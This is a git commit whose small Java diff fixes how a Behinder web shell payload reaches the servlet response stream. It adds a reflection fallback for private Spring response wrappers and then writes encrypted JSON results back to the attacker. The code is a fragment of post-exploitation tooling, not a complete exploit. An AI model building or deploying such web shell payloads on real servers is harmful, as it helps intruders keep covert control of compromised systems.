fix: behinder outputStream methodNotFound

This commit is contained in:
ReaJason
2024-12-22 16:51:24 +08:00
parent a5c8058cad
commit 78e9401492
2 changed files with 9 additions and 5 deletions
@@ -32,10 +32,15 @@ public class Test {
result.put("status", "success");
} finally {
try {
// org.springframework.boot.web.servlet.support.ErrorPageFilter$ErrorWrapperResponse is private
Method getOutputStreamMethod = this.Response.getClass().getDeclaredMethod("getOutputStream");
getOutputStreamMethod.setAccessible(true);
Object so = getOutputStreamMethod.invoke(this.Response);
Object so = null;
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
} catch (Exception e) {
// org.springframework.boot.web.servlet.support.ErrorPageFilter$ErrorWrapperResponse is private
Method getOutputStreamMethod = this.Response.getClass().getDeclaredMethod("getOutputStream");
getOutputStreamMethod.setAccessible(true);
so = getOutputStreamMethod.invoke(this.Response);
}
Method write = so.getClass().getMethod("write", byte[].class);
String jsonStr = this.buildJson(result, true);
write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8")));